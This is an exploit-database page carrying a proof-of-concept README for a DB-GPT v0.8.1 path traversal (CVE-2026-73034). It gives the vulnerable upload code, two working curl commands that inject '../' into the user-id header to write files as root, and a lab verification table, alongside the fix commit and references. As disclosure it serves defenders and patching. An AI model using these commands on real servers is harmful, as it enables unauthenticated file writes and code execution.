Sploitus

Exploit for CVE-2026-73034

githubexploit · 2026-08-12

Exploit Code

README60 lines
## https://sploitus.com/exploit?id=D4435CBA-7D3B-5040-9DDC-BB0D91E0961F
# CVE-2026-73034 — DB-GPT v0.8.1 Unauthenticated Path Traversal → Arbitrary File Write

**CVSS 9.8 (Critical)** · CWE-22 · [GHSA/Issue #3104](https://github.com/eosphoros-ai/DB-GPT/issues/3104)

## Summary

`POST /api/v1/python/file/upload` in DB-GPT v0.8.1 takes the `user-id` HTTP header and uses it
**raw as a path component**:

```python
upload_dir = os.path.join(base_dir, "python_uploads", user_id)
os.makedirs(upload_dir, exist_ok=True)
open(file_path, "wb")
```

There is **no authentication** — if the header is absent the app falls back to `user_id="001"`
with `role="admin"`. Injecting `../` sequences into `user-id` escapes the uploads root and lets an
**unauthenticated remote attacker write arbitrary files anywhere** the container process (root)
can write → direct RCE path (webroot `.py`, cron jobs, `authorized_keys`, …).

**Affected:** DB-GPT ≤ v0.8.1
**Fixed:** v0.8.2+ — commit `e0c741bd2b5e521b128cffb3f68982dde3f7b359` (adds a `_SAFE_USER_ID_RE`
whitelist `^[A-Za-z0-9_\-]+$`, upload-dir containment checks, and a TOCTOU symlink re-check).

## Exploit

```bash
# write pwned.txt into /tmp/pwned/ on the server (as root)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../tmp/pwned" \
  -F "file=@payload.txt;filename=pwned.txt"

# write into /root/ (arbitrary location)
curl -X POST "http://TARGET/api/v1/python/file/upload" \
  -H "user-id: ../../../../root" \
  -F "file=@payload.txt;filename=pwned_root.txt"
```

**Note:** FastAPI maps the `user_id` parameter to the **`user-id`** HTTP header (hyphen, not
underscore).

## Verification (2026-08-12, Docker lab, ARM64)

| Test | Result |
|---|---|
| Control upload (`user-id: alice`) | ✅ `/app/python_uploads/alice/control.txt` |
| **Exploit** `user-id: ../../../../tmp/pwned` | ✅ **`/tmp/pwned/pwned.txt` WRITTEN (root)** |
| **Exploit** `user-id: ../../../../root` | ✅ **`/root/pwned_root.txt` WRITTEN** |
| Fixed build (e0c741bd) | ✅ HTTP 400 `Invalid user_id: only alphanumeric characters, underscores and hyphens are allowed` |

Full script: `poc_cve-2026-73034.sh` (runs both exploits + in-container verification + fixed-build
comparison).

## References

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-73034
- Fix: https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359
- Issue: https://github.com/eosphoros-ai/DB-GPT/issues/3104
- Project: https://github.com/eosphoros-ai/DB-GPT